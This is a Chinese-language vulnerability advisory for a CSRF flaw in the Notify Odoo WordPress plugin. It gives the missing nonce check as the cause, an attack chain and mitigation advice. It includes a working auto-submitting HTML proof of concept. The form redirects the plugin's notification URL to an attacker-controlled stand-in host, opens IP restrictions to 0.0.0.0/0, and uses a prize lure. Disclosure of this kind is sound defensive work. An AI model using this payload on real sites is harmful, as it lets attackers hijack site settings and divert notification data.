CVE-2026-8425 CVSS 4.3 中危

CVE-2026-8425: WordPress Notify Odoo插件CSRF漏洞

披露日期: 2026-05-15

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-8425

漏洞类型

跨站请求伪造 (CSRF)

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Notify Odoo plugin for WordPress

漏洞概述

WordPress的Notify Odoo插件在所有1.0.1及之前的版本中存在跨站请求伪造（CSRF）漏洞。该漏洞的核心在于`_updateSettings`函数中缺失或不正确的nonce验证机制。这使得未经身份验证的远程攻击者能够诱导站点管理员点击特制链接，从而利用伪造的请求篡改插件的关键设置，包括将Notify Odoo的URL更改为攻击者控制的地址，以及修改通知和IP限制配置。

技术细节

该漏洞位于WordPress插件“Notify Odoo”的后台管理模块。漏洞根源在于`_updateSettings`函数在处理设置更新请求时，未严格校验请求中的nonce令牌。在WordPress安全标准中，nonce用于防止CSRF攻击。由于此验证缺失，攻击者可以构建一个恶意的HTML页面，其中包含指向插件设置页面的隐藏表单。当拥有管理员权限的用户访问此页面时，浏览器会自动携带用户的会话Cookie发送POST请求。服务器误以为这是管理员本人的合法操作，从而执行了配置更新。攻击者可利用此漏洞将通知接口URL重定向至恶意服务器，导致后续的通知数据泄露或被篡改。

攻击链分析

STEP 1

1. 构造攻击页面

攻击者创建一个包含恶意HTML表单的网页，该表单指向Notify Odoo插件的后台设置接口，并填入攻击者控制的URL参数。

STEP 2

2. 诱导访问

攻击者通过钓鱼邮件或社会工程学手段，诱导目标WordPress站点的管理员点击链接或访问该恶意页面。

STEP 3

3. 发起伪造请求

当管理员浏览器加载页面时，自动向目标站点发送带有管理员Session Cookie的POST请求。

STEP 4

4. 执行未授权操作

由于缺少nonce验证，服务器接受请求并执行，导致插件配置（如通知URL）被修改为攻击者指定的值。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<html>
<body>
<!-- CSRF PoC for CVE-2026-8425 -->
<!-- Attacker constructs a malicious page to trick admin -->
<form action="http://target-site/wp-admin/admin.php?page=notify-odoo-settings" method="POST">
  <input type="hidden" name="notify_odoo_url" value="http://attacker-controlled-url.com" />
  <input type="hidden" name="tracking_image" value="malicious_tracking" />
  <input type="hidden" name="allowed_ips" value="0.0.0.0/0" />
  <input type="submit" value="Click me for Prize" />
</form>
<script>
  // Auto-submit to maximize chance of success if user just visits
  document.forms[0].submit();
</script>
</body>
</html>

影响范围

Notify Odoo plugin <= 1.0.1

防御指南

临时缓解措施

建议暂时禁用Notify Odoo插件，直到官方发布安全更新。管理员应检查当前插件的Notify Odoo URL及相关设置，确认是否已被篡改。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表